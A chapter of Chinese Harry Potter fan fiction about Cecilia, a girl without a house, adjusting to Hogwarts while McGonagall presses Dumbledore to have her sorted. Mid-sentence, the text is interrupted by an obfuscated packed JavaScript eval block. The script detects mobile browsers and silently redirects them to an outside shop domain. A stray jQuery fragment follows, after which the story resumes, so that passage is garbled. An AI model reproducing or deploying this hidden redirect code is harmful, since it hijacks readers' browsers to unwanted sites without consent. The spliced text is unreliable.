十月的第二个星期，霍格沃茨外面的山地开始真正进入秋天。清晨从黑湖上升起的雾比从前更浓，常常淹没临近湖岸的草坡，只留下树木深色的枝梢露在上面。城堡的窗户到了上午仍蒙着一层细小水汽，走廊里的石砖也比夏日显得更冷，学生们经过时总会带进一些潮湿的落叶，边缘已经被鞋底踩烂，贴在地面上，直到费尔奇提着拖把一路追过来，抱怨今年的树木比任何一届学生都更不懂规矩。
西西莉亚已经能够从窗外的景象里辨认出一天大致的时刻。早晨的光落在她房间东侧的墙上，经过窗框时被切成细长而整齐的几块；到了午后，墙上的光会慢慢消失，窗台上的黄铜锁扣却会亮起来。她仍然不完全理解月份和季节，只知道九月结束以后，太阳出现的时间变短了，风里多出一种从前没有的气味，庭院里的树叶也开始从绿色变成黄色。她把这些变化记在一本薄薄的簿子里，那是麦格教授在第一次发现她会用书页边缘计算日期以后交给她的。簿子的封面是深蓝色的，内页没有印刷任何文字，可以由她决定写什么；西西莉亚因此花了很长时间才在第一页落笔，因为“可以写任何东西”并不能帮助她判断什么东西应当被写下。
最初几页记录的都是天气。九月十七日下雨，持续到晚餐以前；九月十八日没有下雨，但北塔楼外侧仍有水从石缝里落下；九月十九日，礼堂上方的天空有云，城堡外没有。她后来又写下早餐出现过的食物、画像在一天中更换位置的次数，以及移动楼梯最常改变方向的几个时刻。麦格教授第一次翻看时沉默了片刻，告诉她这不是作业，她不需要为了不遗漏任何事情而把整座城堡记录下来。西西莉亚问她，既然没有规定应当记录什么，为什么记录这些又是不必要的。麦格教授扶了一下眼镜，最后只说，她可以写下自己愿意记住的东西。
这句话使簿子空了两天。第三天早晨，西西莉亚在新的一页上写道，糖罐旁边的奶油面包今天是温的。
那个面包并没有什么特殊之处。它与礼堂长桌上每天出现的许多面包一样，表面烤成浅褐色，中间夹着一点柔软的奶油。西西莉亚曾在第一次进入餐馆时学会，可以通过是否还想再吃一口来判断自己是否喜欢一种食物；然而到了霍格沃茨以后，她发现这种方法并不总是准确。有些食物她愿意继续吃，只是因为已经放在面前，有些即使不讨厌，也不会在第二天想起。奶油面包不同。它凉下来以后会变硬，奶油也会在舌头上留下过于厚重的味道，可如果刚从厨房送来，里面仍带着热气，她通常会吃完一个，并且在盘子再次装满时看上一会儿。
负责她那一段长桌的家养小精灵大概注意到了这件事。十月以后，只要她按时去礼堂，糖罐旁边总会有两只刚刚烤好的奶油面包，放在一只比其他餐盘略小的白瓷碟里。西西莉亚不知道是哪一只小精灵所做，也没有见过有人把它们放下。食物在霍格沃茨出现和消失的方式一直如此，学生们对此习以为常，很少去想地下厨房在什么时候生火，也不在意是谁剥去了炖菜里的土豆皮。她起初认为这只是每日早餐的一部分，直到某一天因为庞弗雷夫人的检查迟了一刻钟，来到礼堂时，大部分学生已经离开，那两只面包却仍然温热地留在原处。
她在簿子里记下了这件事，但没有写“喜欢”。她只写道，它们在等她。
她现在每天七点起床。房间里的钟会在整点时发出一声很轻的鸣响，并不比鸟叫更响，却从未迟到。她醒来以后先拉开窗帘，确认窗外是明亮还是阴暗，随后自己换好衣服，将前一天用过的衣物整齐叠在椅背上。她已经学会了使用梳子，却仍不能在很短的时间里整理完那头过长的金发。庞弗雷夫人曾提议替她剪去一些，至少使发尾不再触碰地面，西西莉亚对此没有表现出反对，也没有同意，只问剪掉以后还能不能长回来。得到肯定回答后，她想了一会儿，最后仍然决定暂时保留原来的长度。
她不是因为珍惜头发。她只是不明白，既然它们能够继续生长，为什么要先剪短，再等待它们重新变长。庞弗雷夫人认为这个问题缺少实际意义，麦格教授则说，头发不一定非要有实际意义。那天以后，房间里多出了一条深色缎带和几枚不容易扯痛头发的发卡。西西莉亚每天早晨把大部分头发束在背后，动作依旧缓慢，却已经不会像最初那样花费将近一个小时。有时她会错过一缕，让它留在肩前，直到吃早餐时落进杯子里；麦格教授一旦看见，就会从口袋里取出魔杖，替她把那缕头发重新固定好。西西莉亚后来学会了在进入礼堂以前先低头检查肩膀，因为麦格教授并非每天都坐在同一个位置。
她的房门仍然很少上锁。锁扣保持着邓布利多第一次为她说明时的样子，安静地装在内侧，任何人从外面都无法看见它是否扣住。最初的几晚，她睡前会伸手碰一碰锁扣，却从不真正将它推下去；后来这个动作也渐渐消失了。她不再需要依靠门是否敞开来判断自己能不能离开，因为早晨醒来以后，门总能从里面打开，走廊也总在门外。她开始知道，有些东西之所以属于自己，并不是因为必须时刻守住，而是因为离开以后仍可以回来。
门外的走廊在清晨很少有人经过。那一层离学生的宿舍很远，附近只有两间闲置的客房和一间储藏旧课桌的屋子。墙上挂着一幅画，里面是一位穿灰绿色长袍的女巫，她大部分时间都坐在湖边读书，只在天气晴朗时离开画框，到别处拜访朋友。西西莉亚搬来后的第三天，她们第一次说话。那位女巫问她为什么每天都在相同的时刻出门，西西莉亚回答，因为早餐每天在相同的时刻开始。女巫认为这并不完全正确，因为周日会晚一些；西西莉亚回到房间核对课程表，发现周日早餐虽然没有正式推迟，学生们却普遍晚到，于是第二天将这一点补充给她。
从那以后，女巫会在她经过时告诉她走廊另一端是否有人。如果麦格教授刚刚过去，她会说那顶尖帽子今天走得很快；如果费尔奇正带着洛丽丝夫人巡视，她便建议西西莉亚不要踩到窗边刚拖过的地面。她并不知道西西莉亚为什么尚未穿学院长袍，也没有追问，只在某个下雨的早晨说，金色头发与灰色裙子并不相配。西西莉亚停下来问什么颜色相配，女巫端详她许久，回答深蓝色、黑色或者绿色都可以，红色大概也不会坏，只是黄色不行。
“为什么黄色不行？”
“因为那样从头到脚都是同一种颜色。”
“我的头发不是衣服。”
“我知道，”女巫说，“但画像有画像的判断。”
西西莉亚还不明白这种判断依靠什么，却已经知道，有些问题并不存在能够被验证的答案。她没有把这段对话写进簿子，因为不知道应当归入天气、衣服还是画像；几天以后，麦格教授给她带来一件深蓝色的冬季斗篷，她看着那种颜色，想起走廊里的女巫，便将斗篷挂在了离门最近的位置。
她上午的安排并不固定。每隔两天，她仍要去校医院接受检查。庞弗雷夫人会测量她的体重，查看药剂是否产生不良反应，有时还会要求她在床边来回走几步。西西莉亚的体重已经不再像最初那样轻得令人不安，手腕和脚踝处的旧痕也渐渐淡去，只剩下贴近皮肤才能看见的浅色轮廓。庞弗雷夫人仍然不允许她参加飞行课，理由是她的身体尚不能承受从高处摔落；西西莉亚指出，其他学生也不能承受从高处摔落，却仍被允许骑上扫帚。庞弗雷夫人回答，其他学生至少拥有在摔下去以前大喊的常识，而她大概只会在落地以后报告哪根骨头折断。
西西莉亚认为这项判断没有根据，却没有反驳，因为她确实不知道从扫帚上掉下来时应该喊什么。
不去校医院的上午，她会跟随弗立维教授学习。她已经能够使羽毛稳定地悬浮在桌面上方，并按照要求停留十秒，不再连同桌子、墨水瓶和附近的椅子一起升起。弗立维教授对此十分高兴，甚至将那根被使用多次、边缘已经有些凌乱的白色羽毛送给了她。西西莉亚将它带回房间，放在窗台上的玻璃杯里；那只杯子原本没有用途，她试过装水，却发现阳光照进来时，杯底会在桌面上留下缓慢移动的亮斑，于是又把水倒掉。羽毛放进去以后，影子与亮斑叠在一起，每天午后都会改变形状。
弗立维教授的课与麦格教授不同。他很少在她回答错误时立即指出，而是会请她重新看一遍已经发生的事情。西西莉亚第一次尝试开锁咒时，抽屉没有打开，锁芯却从木头中整个飞了出来，落在讲台上。她认为锁已经不再阻止抽屉开启，因此咒语应当算作成功。弗立维教授捧着那枚锁芯思考了一阵，告诉她，魔法并不只需要达到结果，也需要保留不应被破坏的东西。
这个说法使她想起孤儿院地下室的铁门。邓布利多让锁自行脱落时，铁门和门框都没有损坏，锁链也只是落在地上。她过去只注意到门被打开，从未想过被留下的东西也是魔法的一部分。第二次尝试时，她用了比第一次更少的力量，锁舌在抽屉内部轻轻移动，发出一声很小的咔哒。弗立维教授让她再做一遍，她却先把锁重新关上，因为既然要重复开启，门应当先回到关闭的状态。
她学习魔咒时很少表现出疲倦，也不会因为成功而兴奋。可是弗立维教授已经逐渐能够分辨，她在某些时候会比平日更愿意继续。一旦一个咒语需要控制极细微的力量，她会长久地观察魔杖尖端，直到动作与结果之间不再出现多余的偏差；如果课程只是背诵某段理论，她则会在记住以后立即合上书，不再重复阅读。教授们最初认为她缺少普通孩子的好奇，后来才发现，她的好奇并不指向新奇的事物，而指向事物为何以某种方式发生。她不会因为茶杯变成甲虫而发出惊叹，却会询问甲虫在变回茶杯以前是否仍然需要呼吸。
麦格教授没有回答这个问题，只让她在下一次变形术旁听时坐得离讲台近一些。
她仍然没有正式进入学生的行列。麦格教授为她安排的课程只占据一周中的很少部分，其余时间，她可以在图书馆阅读，或者在不妨碍课堂的前提下旁听。她没有学院长袍，身上穿的是邓布利多与麦格教授替她准备的普通衣物；没有任何一张长桌为她保留固定座位，她吃饭时有时坐在教师席边缘，有时坐在长桌末端，取决于哪一处的人更少。学生们已经不像开学初那样频繁地回头看她，却仍不知道应当如何称呼她。有人认为她是校长的亲戚，有人说她来自一所已经关闭的外国学校，还有几个高年级学生坚信，她是魔法部送来检查霍格沃茨安全状况的矮个子官员。
西西莉亚知道这些说法，因为画像会转述，幽灵则从不认为别人的谈话属于秘密。她并没有纠正。她既不是邓布利多的亲戚，也没有去过外国学校，至于魔法部，她只从《近代魔法管理制度》里读到过这个名称。那些说法都不真实，却也没有改变她每天需要做的事情，因此她认为没有处理的必要。
只有一个一年级女孩曾在午餐时直接询问她属于哪个学院。那女孩来自赫奇帕奇，脸上有几颗浅色雀斑，说话前将自己的果汁杯向旁边挪了挪，给西西莉亚空出一小块位置。西西莉亚回答自己没有学院。女孩以为她没有听懂，又问她是住在塔楼、地下室，还是厨房附近。西西莉亚说，她住在一间单独的房间里，附近有一幅会在晴天离开的画像。
女孩想了一会儿，显然无法从这段描述中判断学院，只好问：“那你晚上一个人睡吗？”
“是的。”
“不会害怕吗？”
西西莉亚知道害怕的意思，却不知道这个问题为什么被提出。房间里没有会伤害她的东西，门也可以从里面锁上，夜间的声音大多来自风、管道和走廊上晚归的画像。她摇了摇头，反问对方为什么不一个人睡。女孩告诉她，赫奇帕奇一年级有五个人住在同一间寝室，其中一个会磨牙，另一个总把袜子忘在壁炉旁边，但如果半夜做了噩梦，醒来时至少可以听见别人呼吸。
西西莉亚没有立刻说话。她曾经在地下室里独自醒来许多次，也曾在属于自己的房间里睁开眼睛，看见门缝下透进走廊的灯光。她并不认为有人呼吸能够改变梦的内容，可那天晚上，她回房以后没有立即关门，而是在门边站了一会儿，听见灰绿色长袍的女巫在画框里翻动书页，远处有人经过楼梯，脚步声逐渐消失。后来她照常关上门，没有上锁，并在簿子上写道，赫奇帕奇寝室里有五个人，其中一个会磨牙。
那大概是麦格教授第一次意识到，西西莉亚已经开始记住学生，而不只是记住城堡。
这件事发生后不久，她来到了西西莉亚的房间。那是一个没有下雨的傍晚，天空却从午后开始变得灰暗，窗外的树木被风吹得不断向同一侧倾斜。西西莉亚刚从图书馆回来，正把借来的书按照高度排在桌面上。她已经拥有七本属于自己的书，借阅的则放在另一侧，以免在归还时混淆。麦格教授敲门以后等到里面传出回应才推门进来，手里拿着一卷羊皮纸和那件刚刚从裁缝处送回来的深蓝色冬季斗篷。
斗篷的长度已经修改过，边缘不再拖到地面，领口也加了一枚银色扣子。麦格教授让她穿上试试，西西莉亚便放下书，将斗篷披在肩上。金色长发大部分被压在布料下面，只有靠近脸侧的几缕落在领口外面。麦格教授替她把头发取出来，又将银扣重新扣好，随后退开一步看了看。斗篷很合身，深蓝色使她的肤色显得比平日更淡，却也让那头过长的金发有了清晰的边界，不再像最初从地下室里出来时那样，几乎与破旧裙摆和灰尘连在一起。
“袖子呢？”麦格教授问。
西西莉亚抬起手臂，手指恰好露在袖口之外。
“不会妨碍动作。”
“我问的是是否合适。”
“合适。”
麦格教授又看了她一会儿，似乎在等待另一个答案，最后却只点了点头，将带来的羊皮纸放在桌上。那是重新调整过的临时课程表。变形术旁听增加到每周两次，魔咒课仍旧保持原来的次数，庞弗雷夫人的检查则减少到每周三次。纸张下方还列着几项尚未确定的课程，魔药学的名字后面被斯内普教授画了一道很重的横线，飞行课旁边则是庞弗雷夫人的批注，要求至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923611|213502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
少等到圣诞节以后再议。
西西莉亚看完以后问：“临时会持续多久？”
麦格教授没有立刻回答。她走到窗边，扶正一盆被风吹得不断撞向玻璃的植物，又将窗扣压紧。房间里的灯光落在她侧脸上，使眼镜边缘闪过一道很窄的亮光。她从开学起便一直负责西西莉亚的日常安排，知道她几点起床，在哪些咒语上进步，午餐时会留下什么食物，也知道她从不在没有必要时向别人求助。那份临时课程表原本只打算使用两个星期，后来延长到一个月，每一次修改都以观察和等待为理由，好像只要继续等待，某种从未存在过的惯例便会自行出现，为这个没有学院、没有寝室，也没有按照正常方式入学的孩子提供一个合适的位置。
“不会一直持续。”麦格教授说。
“什么时候结束？”
“这正是我需要与校长讨论的事。”
西西莉亚把课程表放回桌上。她并没有追问讨论的内容，也没有问结束以后会发生什么。麦格教授却没有像平时那样很快离开，而是在门边停了一会儿。房间已经与她第一次来时不同。窗台上放着那根魔咒课用过的羽毛，床边的柜子上有一只喝到一半的水杯，七本属于西西莉亚的书整齐排在桌角，最上面压着一本深蓝色簿子。衣柜的门关着，银色锁扣装在门内，床上的被褥没有一丝褶皱，只有枕头中央留下很浅的凹陷，证明这里确实有人睡过。
“晚餐快开始了，”麦格教授说，“你最好不要再整理这些书。”
“还剩三本。”
“它们在晚餐以后也不会改变高度。”
西西莉亚看向桌面，似乎确认了一下这句话是否属实，随后拿起搭在椅背上的外衣。她走到门口时，麦格教授替她将斗篷领口的一缕头发拨到肩后。这个动作已经发生过很多次，西西莉亚没有再像最初那样回头查看，也没有询问为什么。她只是站在那里，等待麦格教授收回手，然后与她一同走进走廊。
两人在楼梯处分开。西西莉亚按照固定路线前往礼堂，麦格教授却没有走向教师席所在的方向，而是沿着另一条旋转楼梯向上。校长办公室里的灯已经亮了，石像兽听见口令后缓慢让开道路。她走上最后一级台阶时，邓布利多正坐在桌前阅读一张羊皮纸，身旁堆着几本已经翻旧的书，凤凰福克斯在栖木上梳理羽毛，偶尔有一片细小的金红色绒羽落在地毯上。
“米勒娃。”邓布利多抬起头，目光在她空着的双手上停了一下，“我原以为你会带来新的课程表。”
“我已经把它交给西西莉亚了。”
“她认为怎么样？”
“她认为袖子不会妨碍动作。”
邓布利多微微笑了笑，似乎不需要询问便知道这句话原本所指的是斗篷。麦格教授没有坐下。她摘下帽子放在膝前，站在书桌另一侧，看着那些与圣杯有关的文献、被分门别类整理好的笔记，以及最上方那张记录着两个愿望的羊皮纸。邓布利多顺着她的视线看了一眼，将纸页翻过来，遮住了尚未完成的几行文字。
“阿不思，”麦格教授说，“她已经在这里生活了一个月。”
“一个月零四天。”
“这不是需要校正的地方。”
“抱歉，米勒娃。”
办公室里的银器仍在缓慢旋转，窗外最后一点天光从高处落进来，将书架上方照成灰蓝色。麦格教授的神情并不严厉，却比她宣布学生违反校规时更加认真。她在来到这里以前已经考虑了数日，甚至为此重新查阅过历年的入学规定，确认霍格沃茨从未写明分院必须发生在九月一日，也没有规定错过入学晚宴的学生只能永远作为一名旁听者生活。
“她不应当继续使用那份临时课程表，”麦格教授说，“也不应当每天在四张长桌之间寻找一个不会妨碍别人的位置。学生们已经开始询问她属于哪里，而我们给不出答案，不是因为她没有资格成为学生，只是因为我们一直没有替她完成本该在来到这里第一天便完成的事。”
邓布利多没有反驳。他摘下半月形眼镜，用衣袖缓慢擦拭镜片，目光落在桌面上那张被翻过去的羊皮纸上。麦格教授知道他仍在担忧什么。格林德沃这个姓氏、圣杯留下的力量、那些无法由任何现有理论解释的愿望，都使西西莉亚的存在不同于霍格沃茨过去接纳过的任何孩子。可是不同并不等于可以永远被放在制度之外。她已经有房间、书本和课程，会在早餐时吃两只温热的奶油面包，也会因为一个赫奇帕奇女孩的话，在簿子里记下一间与自己毫无关系的寝室。一个月以前，她还不明白属于自己的身体意味着什么；如今她已经知道，离开房间以后仍然可以回来。
“她需要分院。”麦格教授说，“不是为了方便管理，也不是为了使其他学生停止猜测。她需要知道，霍格沃茨不是暂时收留她的地方。”
邓布利多重新戴上眼镜。镜片后的蓝眼睛显得很平静，只有右手食指无意识地按在那张羊皮纸的边缘。过了片刻，他问：“你认为她已经准备好了吗？”
“我认为我们不能等到她变成一个与其他孩子完全相同的人，才允许她拥有其他孩子已经拥有的东西。”麦格教授顿了顿，声音依旧克制，“她或许永远不会以我们熟悉的方式理解学院、友谊或者归属，但这不意味着我们可以替她决定，她不需要这些。”
福克斯停止梳理羽毛，抬头看向书桌。办公室里安静了一会儿，远处礼堂的钟声穿过墙壁传来，提醒晚餐即将开始。邓布利多将那张记录翻回正面，上面写着西西莉亚做过的梦、他自己梦见的阿利安娜，以及三个尚未得到回答的问题。他已经知道圣杯能够越过语言，触及许愿者不愿承认的部分；也知道西西莉亚并不需要理解愿望的全部内容，便能让它在另一个世界里暂时成真。然而在让分院帽接触她的思想以前，还有一件事情始终没有得到确认。
他不知道圣杯是否也会拒绝。
麦格教授看着他的神情，已经猜到这场谈话不会立刻得到结论。
“你还想做什么？”她问。
邓布利多没有马上回答。他将羽毛笔横放在记录旁边，墨水瓶中的黑色液面轻轻晃动，映出窗外已经暗下去的天空。很久以前，他曾经以为最危险的愿望都是那些过于炽烈、过于庞大的愿望，人们愿意为它们献出忠诚、理智和生命；直到西西莉亚来到这里，他才逐渐明白，有些愿望之所以危险，并不是因为它们太强，而是因为人已经无法分辨，它究竟仍然活着，还是只剩下遗憾的形状。
“最后一次确认。”他说，“然后我们为她分院。”
麦格教授的眉头轻轻皱起，却没有立刻追问。楼下礼堂的门大概已经打开，学生们的说话声沿着城堡中空的楼梯隐约传来。此时，西西莉亚应当已经坐在某张长桌的末端，面前放着那只比其他餐盘略小的白瓷碟。她并不知道自己的课程表为什么仍被称为临时，也不知道在校长办公室里，有人正在讨论她应当属于哪里。
她只知道今天的奶油面包仍然是温的。